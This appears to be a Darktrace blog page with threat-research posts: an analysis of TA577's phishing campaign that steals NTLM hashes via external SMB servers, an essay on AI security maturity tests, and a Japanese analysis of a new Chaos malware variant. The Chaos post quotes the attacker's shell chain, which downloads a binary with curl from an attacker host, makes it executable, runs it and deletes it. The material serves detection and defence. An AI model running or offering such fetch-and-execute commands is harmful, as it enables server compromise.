ブログ
/
Email
/
July 9, 2024

How Darktrace Detects NTLM Hash Theft

Explore Darktrace's innovative methods for detecting NTLM hash theft and safeguarding your organization from cyber threats.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Charlotte Thompson
Cyber Analyst
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
09
Jul 2024

What is credential theft and how does it work?

What began as a method to achieve unauthorized access to an account, often driven by the curiosity of individual attackers, credentials theft become a key tactic for malicious actors and groups, as stolen login credentials can be abused to gain unauthorized access to accounts and systems. This access can be leveraged to carry out malicious activities such as data exfiltration, fraud, espionage and malware deployment.

It is therefore no surprise that the number of dark web marketplaces selling privileged credentials has increased in recent years, making it easier for malicious actors to monetize stolen credentials [1]. This, in turn, has created new opportunities for threat actors to use increasingly sophisticated tactics such as phishing, social engineering and credential stuffing in their attacks, targeting individuals, organizations and government entities alike [1].

Credential theft example

TA577 Threat Actor

TA577 is a threat actor known to leverage stolen credentials, also known as Hive0118 [2], an initial access broker (IAB) group that was previously known for delivering malicious payloads [2]. On March 4, 2024, Proofpoint reported evidence of TA577 using a new attack chain with a different aim in mind: stealing NT LAN Manager (NTLM) hashes that can be used to authenticate to systems without needing to know plaintext passwords [3].

How does TA577 steal credentials?

Proofpoint reported that this new attack chain, which was first observed on February 26 and 27, was made up of two distinct campaigns. The first campaign consisted of a phishing attack featuring tens of thousands of emails targeting hundreds of organizations globally [3]. These phishing emails often appeared as replies to previous messages (thread hijacking) and contained zipped HTML attachments that each contained a unique file hash, customized for each recipient [3]. These attached files also contained a HTTP Meta refresh function, which triggered an automatic connection to a text file hosted on external IP addresses running as SMB servers [3].

When attempting to access the text file, the server requires an SMB session authentication via NTLM. This session is initiated when a client sends an ‘SMB_COM_NEGOTIATE’ request to the server, which answers with a ‘SMB_COM_NEGOTIATE’ response.

The client then proceeds to send a ‘SMB_COM_SESSION_SETUP_ANDX’ request to start the SMB session setup process, which includes initiating the NTLM authentication process. The server responds with an ‘SMB_COM_SESSION_SETUP_ANDX’ response, which includes an NTLM challenge message [6].

The client can then use the challenge message and its own credentials to generate a response by hashing its password using an NTLM hash algorithm. The response is sent to the server in an ‘SMB_COM_SESSION_SETUP_ANDX’ request. The server validates the response and, if the authentication is successful, the server answers with a final ‘SMB_COM_SESSION_SETUP_ANDX’ response, which completes the session setup process and allows the client to access the file listed on the server [6].

What is the goal of threat actor TA577?

As no malware delivery was detected during these sessions, researchers have suggested that the aim of TA577 was not to deliver malware, but rather to take advantage of the NTLMV2 challenge/response to steal NTLM authentication hashes [3] [4]. Hashes stolen by attackers can be exploited in pass-the-hash attacks to authenticate to a remote server or service [4]. They can also be used for offline password cracking which, if successful, could be utilized to escalate privileges or perform lateral movement through a target network [4]. Under certain circumstances, these hashes could also permit malicious actors to hijack accounts, access sensitive information and evade security products [4].

The open-source toolkit Impacket, which includes modules for password cracking [5] and which can be identified by the default NTLM server challenge “aaaaaaaaaaaaaaaa”[3], was observed during the SMB sessions. This indicates that TA577 actor aim to use stolen credentials for password cracking and pass-the-hash attacks.

TA577 has previously been associated with Black Basta ransomware infections and Qbot, and has been observed delivering various payloads including IcedID, SystemBC, SmokeLoader, Ursnif, and Cobalt Strike [2].This change in tactic to follow the current trend of credential theft may indicate that not only are TA577 actors aware of which methods are most effective in the current threat landscape, but they also have monetary and time resources needed to create new methods to bypass existing detection tools [3].  

Darktrace’s Coverage of TA577 Activity

On February 26 and 27, coinciding with the campaign activity reported by Proofpoint, Darktrace/Email™ observed a surge of inbound emails from numerous suspicious domains targeting multiple customer environments. These emails consistently included zip files with seemingly randomly generated names, containing HTLM content and links to an unusual external IP address [3].

A summary of anomaly indicators seen for a campaign email sent by TA577, as detected by Darktrace/Email.
Figure 1: A summary of anomaly indicators seen for a campaign email sent by TA577, as detected by Darktrace/Email.
Details of the name and size of the .zip file attached to a campaign email, along with the Darktrace/Email model alerts triggered by the email.
Figure 2: Details of the name and size of the .zip file attached to a campaign email, along with the Darktrace/Email model alerts triggered by the email.

The URL of these links contained an unusually named .txt file, which corresponds with Proofpoint reports of the automatic connection to a text file hosted on an external SMB server made when the attachment is opened [3].

A link to a rare external IP address seen within a campaign email, containing an unusually named .txt file.
Figure 3: A link to a rare external IP address seen within a campaign email, containing an unusually named .txt file.

Darktrace identified devices on multiple customer networks connecting to external SMB servers via the SMB protocol. It understood this activity was suspicious as the SMB protocol is typically reserved for internal connections and the endpoint in question had never previously been observed on the network.

The Event Log of a ‘Compliance / External Windows Communication’ model alert showing a connection to an external SMB server on destination port 445.
Figure 4: The Event Log of a ‘Compliance / External Windows Communication’ model alert showing a connection to an external SMB server on destination port 445.
External Sites Summary highlighting the rarity of the external SMB server.
Figure 5: External Sites Summary highlighting the rarity of the external SMB server.
External Sites Summary highlightin that the SMB server is geolocated in Moldova.
Figure 6: External Sites Summary highlightin that the SMB server is geolocated in Moldova.

During these connections, Darktrace observed multiple devices establishing an SMB session to this server via a NTLM challenge/response, representing the potential theft of the credentials used in this session. During this session, some devices also attempted to access an unusually named .txt file, further indicating that the affected devices were trying to access the .txt file hosted on external SMB servers [3].

Packet captures (PCAPs) of these sessions show the default NTLM server challenge, indicating the use of Impacket, suggesting that the captured NTLM hashes were to be used for password cracking or pass-the-hash-attacks [3]

PCAP analysis showing usage of the default NTLM server challenge associated with Impacket.
Figure 7: PCAP analysis showing usage of the default NTLM server challenge associated with Impacket.

Conclusions

Ultimately, Darktrace’s suite of products effectively detected and alerted for multiple aspects of the TA577 attack chain and NTLM hash data theft activity across its customer base. Darktrace/Email was able to uncover the inbound phishing emails that served as the initial access vector for TA577 actors, while Darktrace DETECT identified the subsequent external connections to unusual external locations and suspicious SMB sessions.

Furthermore, Darktrace’s anomaly-based approach enabled it to detect suspicious TA577 activity across the customer base on February 26 and 27, prior to Proofpoint’s report on their new attack chain. This showcases Darktrace’s ability to identify emerging threats based on the subtle deviations in a compromised device’s behavior, rather than relying on a static list of indicators of compromise (IoCs) or ‘known bads’.

This approach allows Darktrace to remain one step ahead of increasingly adaptive threat actors, providing organizations and their security teams with a robust AI-driven solution able to safeguard their networks in an ever-evolving threat landscape.

Credit to Charlotte Thompson, Cyber Analyst, Anna Gilbertson, Cyber Analyst.

References

1)    https://www.sentinelone.com/cybersecurity-101/what-is-credential-theft/

2)    https://malpedia.caad.fkie.fraunhofer.de/actor/ta577

3)    https://www.proofpoint.com/us/blog/threat-insight/ta577s-unusual-attack-chain-leads-ntlm-data-theft

4)    https://www.bleepingcomputer.com/news/security/hackers-steal-windows-ntlm-authentication-hashes-in-phishing-attacks/

5)    https://pawanjswal.medium.com/the-power-of-impacket-a-comprehensive-guide-with-examples-1288f3a4c674

6)    https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/c083583f-1a8f-4afe-a742-6ee08ffeb8cf

7)    https://www.hivepro.com/threat-advisory/ta577-targeting-windows-ntlm-hashes-in-global-campaigns/

Darktrace Model Detections

Darktrace/Email

·       Attachment / Unsolicited Archive File

·       Attachment / Unsolicited Attachment

·       Link / New Correspondent Classified Link

·       Link / New Correspondent Rare Link

·       Spoof / Internal User Similarities

Darktrace DETECT

·       Compliance / External Windows Communications

Darktrace RESPOND

·       Antigena / Network / Significant Anomaly / Antigena Breaches Over Time Block

IoCs

IoC - Type - Description

176.123.2[.]146 - IP address -Likely malicious SMB Server

89.117.2[.]33 - IP address - Likely malicious SMB Server

89.117.1[.]161 - IP address - Likely malicious SMB Server

104.129.20[.]167 - IP address - Likely malicious SMB Server

89.117.1[.]160 - IP address - Likely malicious SMB Server

85.239.33[.]149 - IP address - Likely malicious SMB Server

89.117.2[.]34 - IP address - Likely malicious SMB Server

146.19.213[.]36 - IP address - Likely malicious SMB Server

66.63.188[.]19 - IP address - Likely malicious SMB Server

103.124.104[.]76 - IP address - Likely malicious SMB Server

103.124.106[.]224 - IP address - Likely malicious SMB Server

\5aohv\9mn.txt - SMB Path and File - SMB Path and File

\hvwsuw\udrh.txt - SMB Path and File - SMB Path and File

\zkf2rj4\VmD.txt = SMB Path and File - SMB Path and File

\naams\p3aV.txt - SMB Path and File - SMB Path and File

\epxq\A.txt - SMB Path and File - SMB Path and File

\dbna\H.txt - SMB Path and File - SMB Path and File

MAGNAMSB.zip – Filename - Phishing Attachment

e751f9dddd24f7656459e1e3a13307bd03ae4e67 - SHA1 Hash - Phishing Attachment

OMNIS2C.zip  - Filename - Phishing Attachment

db982783b97555232e28d5a333525118f10942e1 - SHA1 Hash - Phishing Attachment

aaaaaaaaaaaaaaaa - NTLM Server Challenge -Impacket Default NTLM Challenge

MITRE ATT&CK Tactics, Techniques and Procedures (TTPs)

Tactic - Technique

TA0001            Initial Access

TA0002            Execution

TA0008            Lateral Movement

TA0003            Persistence

TA0005            Defense Evasion

TA0006            Credential Access

T1021.002       SMB/Windows Admin Shares

T1021  Remote Services

T1566.001       Spearfishing Attachment

T1566  Phishing

T1204.002       Malicious File

T1204  User Execution

T1021.002       SMB/Windows Admin Shares

T1574  Hijack Execution Flow

T1021  Remote Services

T1555.004       Windows Credential Manager

T1555  Credentials from Password Stores

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Charlotte Thompson
Cyber Analyst

More in this series

No items found.

Blog

/

AI

/

April 8, 2026

How to Secure AI and Find the Gaps in Your Security Operations

Default blog imageDefault blog image

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

Continue reading
About the author
Nabil Zoldjalali
VP, Field CISO

Blog

/

/

April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

Default blog imageDefault blog image

はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE(共通脆弱性識別子)を通じて拡散します。その後感染したデバイスをDDoS(分散型サービス拒否攻撃)ボットネットや、暗号通貨マイニングに使用します。  

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint.
図1:保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。
  • ./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬(RAT)を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー(VPS)です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service.
図2:systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール(C2)サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed.
図3:StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当: Nathaniel Bill (Malware Research Engineer)
編集: Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ